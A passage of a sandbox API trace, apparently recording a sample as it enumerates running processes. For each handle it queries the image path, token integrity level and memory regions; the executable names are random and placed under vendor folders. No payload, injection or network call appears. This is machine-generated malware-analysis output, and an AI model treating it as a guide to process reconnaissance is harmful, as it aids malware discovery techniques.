out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0058.100] QueryFullProcessImageNameW (in: hProcess=0x1a4, dwFlags=0x0, lpExeName=0x1acee88, lpdwSize=0x17af784 | out: lpExeName="C:\\Program Files\\Windows Journal\\don stations.exe", lpdwSize=0x17af784) returned 1 [0058.100] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acee88) returned 1 [0058.101] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.101] IsWow64Process (in: hProcess=0x1a4, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.101] NtQueryInformationProcess (in: ProcessHandle=0x1a4, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.101] GetProcessTimes (in: hProcess=0x1a4, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.101] OpenProcessToken (in: ProcessHandle=0x1a4, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.101] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.101] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.101] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0058.101] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0058.101] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.101] NtClose (Handle=0x1f0) returned 0x0 [0058.101] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0058.101] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0058.112] QueryFullProcessImageNameW (in: hProcess=0x1a8, dwFlags=0x0, lpExeName=0x1ace180, lpdwSize=0x17af784 | out: lpExeName="C:\\Program Files (x86)\\Microsoft Analysis Services\\rain.exe", lpdwSize=0x17af784) returned 1 [0058.112] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1ace180) returned 1 [0058.112] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.112] IsWow64Process (in: hProcess=0x1a8, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.112] NtQueryInformationProcess (in: ProcessHandle=0x1a8, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.112] GetProcessTimes (in: hProcess=0x1a8, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.112] OpenProcessToken (in: ProcessHandle=0x1a8, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.112] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.112] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.112] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0058.112] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0058.112] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.112] NtClose (Handle=0x1f0) returned 0x0 [0058.112] NtQueryVirtualMemory (in: ProcessHandle=0x1a8, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0058.113] NtQueryVirtualMemory (in: ProcessHandle=0x1a8, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0058.123] QueryFullProcessImageNameW (in: hProcess=0x1ac, dwFlags=0x0, lpExeName=0x1acef48, lpdwSize=0x17af784 | out: lpExeName="C:\\Program Files\\Internet Explorer\\microsoft_eclipse.exe", lpdwSize=0x17af784) returned 1 [0058.123] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acef48) returned 1 [0058.123] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.123] IsWow64Process (in: hProcess=0x1ac, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.123] NtQueryInformationProcess (in: ProcessHandle=0x1ac, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.123] GetProcessTimes (in: hProcess=0x1ac, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.123] OpenProcessToken (in: ProcessHandle=0x1ac, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.123] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.123] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.124] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0058.124] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0058.124] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.124] NtClose (Handle=0x1f0) returned 0x0 [0058.124] NtQueryVirtualMemory (in: ProcessHandle=0x1ac, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0058.124] NtQueryVirtualMemory (in: ProcessHandle=0x1ac, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0058.134] QueryFullProcessImageNameW (in: hProcess=0x1b0, dwFlags=0x0, lpExeName=0x1ace180, lpdwSize=0x17af784 | out: lpExeName="C:\\Program Files (x86)\\Microsoft Analysis Services\\treasure_opportunities.exe", lpdwSize=0x17af784) returned 1 [0058.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bf9798 [0058.134] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bb71d8) returned 1 [0058.134] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1ace180) returned 1 [0058.134] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.134] IsWow64Process (in: hProcess=0x1b0, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.134] NtQueryInformationProcess (in: ProcessHandle=0x1b0, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.134] GetProcessTimes (in: hProcess=0x1b0, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.135] OpenProcessToken (in: ProcessHandle=0x1b0, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.135] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.135] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.135] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0058.135] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0058.135] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.135] NtClose (Handle=0x1f0) returned 0x0 [0058.135] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0058.135] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0058.137] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x2030000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x2030000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x72590000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0058.137] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x745c0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x745c0000, AllocationBase=0x745c0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0058.146] QueryFullProcessImageNameW (in: hProcess=0x1b4, dwFlags=0x0, lpExeName=0x1acf008, lpdwSize=0x17af784 | out: lpExeName="C:\\Program Files\\Windows Photo Viewer\\crossword indicating hugh.exe", lpdwSize=0x17af784) returned 1 [0058.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bf99a8 [0058.146] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bb7260) returned 1 [0058.146] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf008) returned 1 [0058.146] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.146] IsWow64Process (in: hProcess=0x1b4, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.146] NtQueryInformationProcess (in: ProcessHandle=0x1b4, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.147] GetProcessTimes (in: hProcess=0x1b4, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.147] OpenProcessToken (in: ProcessHandle=0x1b4, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.147] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.147] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.147] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0058.147] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0058.147] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.147] NtClose (Handle=0x1f0) returned 0x0 [0058.147] NtQueryVirtualMemory (in: ProcessHandle=0x1b4, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0058.147] NtQueryVirtualMemory (in: ProcessHandle=0x1b4, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0058.157] QueryFullProcessImageNameW (in: hProcess=0x1b8, dwFlags=0x0, lpExeName=0x1ace180, lpdwSize=0x17af784 | out: lpExeName="C:\\Program Files\\Microsoft Synchronization Services\\alexander-selective-serum.exe", lpdwSize=0x17af784) returned 1 [0058.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bf9bb8 [0058.158] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bb72e8) returned 1 [0058.158] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1ace180) returned 1 [0058.158] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.158] IsWow64Process (in: hProcess=0x1b8, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.158] NtQueryInformationProcess (in: ProcessHandle=0x1b8, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.158] GetProcessTimes (in: hProcess=0x1b8, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.158] OpenProcessToken (in: ProcessHandle=0x1b8, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.158] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.158] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.158] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0058.158] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0058.158] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.158] NtClose (Handle=0x1f0) returned 0x0 [0058.158] NtQueryVirtualMemory (in: ProcessHandle=0x1b8, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0058.158] NtQueryVirtualMemory (in: ProcessHandle=0x1b8, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0058.170] QueryFullProcessImageNameW (in: hProcess=0x1bc, dwFlags=0x0, lpExeName=0x1ace180, lpdwSize=0x17af784 | out: lpExeName="C:\\Program Files (x86)\\Windows Defender\\fingernowherecontinues.exe", lpdwSize=0x17af784) returned 1 [0058.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bf9dc8 [0058.170] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bb6628) returned 1 [0058.170] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1ace180) returned 1 [0058.170] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.170] IsWow64Process (in: hProcess=0x1bc, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.171] NtQueryInformationProcess (in: ProcessHandle=0x1bc, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.171] GetProcessTimes (in: hProcess=0x1bc, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.171] OpenProcessToken (in: ProcessHandle=0x1bc, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.171] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.171] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.171] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0058.171] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0058.171] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.171] NtClose (Handle=0x1f0) returned 0x0 [0058.171] NtQueryVirtualMemory (in: ProcessHandle=0x1bc, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0058.171] NtQueryVirtualMemory (in: ProcessHandle=0x1bc, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0058.181] QueryFullProcessImageNameW (in: hProcess=0x1c0, dwFlags=0x0, lpExeName=0x1acf180, lpdwSize=0x17af784 | out: lpExeName="C:\\Program Files (x86)\\Adobe\\thumbnails-drinks.exe", lpdwSize=0x17af784) returned 1 [0058.181] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0058.181] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.181] IsWow64Process (in: hProcess=0x1c0, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.181] NtQueryInformationProcess (in: ProcessHandle=0x1c0, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.182] GetProcessTimes (in: hProcess=0x1c0, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.182] OpenProcessToken (in: ProcessHandle=0x1c0, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.182] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.182] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.182] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0058.182] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0058.182] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.182] NtClose (Handle=0x1f0) returned 0x0 [0058.182] NtQueryVirtualMemory (in: ProcessHandle=0x1c0, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0058.182] NtQueryVirtualMemory (in: ProcessHandle=0x1c0, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0058.192] QueryFullProcessImageNameW (in: hProcess=0x1c4, dwFlags=0x0, lpExeName=0x1acf180, lpdwSize=0x17af784 | out: lpExeName="C:\\Program Files\\Windows Photo Viewer\\square_jobs.exe", lpdwSize=0x17af784) returned 1 